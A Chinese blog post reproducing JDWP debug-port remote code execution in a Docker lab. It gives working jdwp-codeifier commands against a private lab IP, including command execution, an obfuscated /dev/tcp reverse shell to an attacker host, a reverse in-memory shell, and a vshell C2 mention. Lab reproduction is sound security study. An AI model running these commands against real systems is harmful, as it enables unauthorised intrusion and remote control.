JDWP攻击

前言

最近项目我看到有师傅利用JDWP拿SHELL,JDWP是什么?我一脸蒙蔽啊,搜索了一波,有师傅已经写的足够详细了,我们直接学习就好,所以这篇也不是分析文章,主要是复现利用,同时也提供一个docker环境,方便大家快速上手。

链接: https://pan.baidu.com/s/13mVJ-2V1VhznLhvYZG1AUw?pwd=ajhn 提取码: ajhn

下载的文件不要解压,直接:

1
2
3
docker load -i jdwp-lab.tar

docker run -d -p 5005:5005 -p 80:8080 jdwp-springboot-lab:latest

参考连接

java jdwp协议

通过JDWP漏洞注入”不一样”的内存马

奇安信攻防社区-JDWP调试接口RCE漏洞介绍

GitHub - l3yx/jdwp-codeifier: 基于 jdwp-shellifier 的进阶JDWP漏洞利用脚本(动态执行Java/Js代码并获得回显)

漏洞检测

工具很多,用的顺手就行,探测原理都是一样的,向目标端口连接后发送JDWP-Handshake,如果目标服务直接返回一样的内容则说明是JDWP服务。

image-20250418231536503

漏洞利用

不用为难自己,有师傅已经写好了工具为什么不用?不过还是可以去了解一下原理,看看代码。

1
python jdwp-codeifier.py -t 192.168.112.138 -p 5005 -m command2 -c 'whoami'

image-20250418232434228

反弹shell当然也是不在话下

1
python jdwp-codeifier.py -t 192.168.112.138 -p 5005 -m command2 -c "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEyLjEzMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

image-20250418233214224

image-20250418233239064

也可以直接利用vshell上线

image-20250418234757520

image-20250418234848150

反向内存SHELL

这个看起来还挺有意思的

1
python jdwp-codeifier.py -t 192.168.112.138 -p 5005 -m rshell -a 192.168.112.130:6666 -l 0.1

image-20250419012800247

内存马

关于内存马,我是可以实例化成功的,但是连接不上,自己写的马也不行。可能哪里有问题没想起来吧,太晚了,脑子已经不好使了。


JDWP攻击
https://sp4rks3.github.io/2025/04/19/JAVA安全/漏洞复现/JDWP/
作者
Sp4rks3
发布于
2025年4月19日
许可协议